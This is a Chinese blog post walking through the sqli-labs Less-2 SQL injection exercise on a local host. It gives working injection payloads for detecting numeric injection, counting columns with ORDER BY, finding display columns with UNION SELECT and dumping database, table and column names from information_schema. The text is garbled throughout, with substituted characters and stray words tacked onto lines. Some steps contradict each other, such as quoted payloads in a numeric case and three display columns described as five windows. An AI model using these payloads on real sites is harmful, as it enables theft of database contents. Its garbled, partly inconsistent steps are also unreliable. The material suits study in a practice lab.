sqli-labs第二关 详解

学会了第一关,时隔多天来到了第二关,怎么说了没有看wp就给作出来了。html

首先,我是本身先判断了下,这个是什么注入mysql

?id=1'  不行sql

?id=1' or '1'='1--+  也不行数据库

而后又尝试了下服务器

?id=1 and 1=1  页面显示正常url

?id=1 and 1=2  页面又错误回显orm

而后这就是数字注入了htm

因而咱们去查库,跟第一关的思路是同样的。而后就爆出了库。若是不懂的能够点这个连接。blog

 http://www.javashuo.com/article/p-rleantdf-nu.htmlget

 sql注入通常步骤:

第一步:经过特殊的数据库查询语句

第二步:在数据库的错误返回中找到sql漏洞

第三步:利用sql语句猜解管理人员信息并登陆管理员后台

判断注入类型

数字型注入

1. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1'时,由于有一个多余的"单引号"使查询语句错误

2. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1时,没有报错

3. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2时,因为1=2不成立,也会报错

知足这三个,基本上就是数字注入了

字符型注入

1. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1'时,数据库认为id叫作1'。查询以后发现没有这个id而返回错误。(在字符型注入中,须要考虑引号的闭合)

2. url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' and '1'='1 在'1'='1以后没有加上'是由于传参时输入的内容已经被' '包围。

后台查询列数

使用order by试出数据库列数

url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' order by 数字 (若是试4时有错误,3时正确,那么列数为3)

找显示位

使用union select找出会返回客户端并显示的列。若是有3列时,应该这么写

url为 http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,3

加入显示位是3,这就意味着数据库开放了5个“窗口”用来显示内容,用查询到的数据,在这些窗口显示数据

查库名

联合查询:select database();

下面是查看数据库的版本和数据库信息

假如显示位是3,http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,version,database()

查表名

找到库名之后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,table_name from information_schema.tables where table_schema='库名' (若是库名是字符型,此处库名要转成十六进制)

information_schema:

这是一个mysql自带的库,其中保存着关于mysql服务器所维护的全部其余数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,因此咱们查询这个库

查列名

找到表以后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (若是表名是字符型,此处库名要转成十六进制)

若是表数或列数过多,能够在最后使用limit加上limit 0,5至关于检索1-5条信息

查具体数据

找到列以后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,group_concat("要查询的数据") from 表名

相关文章
相关标签/搜索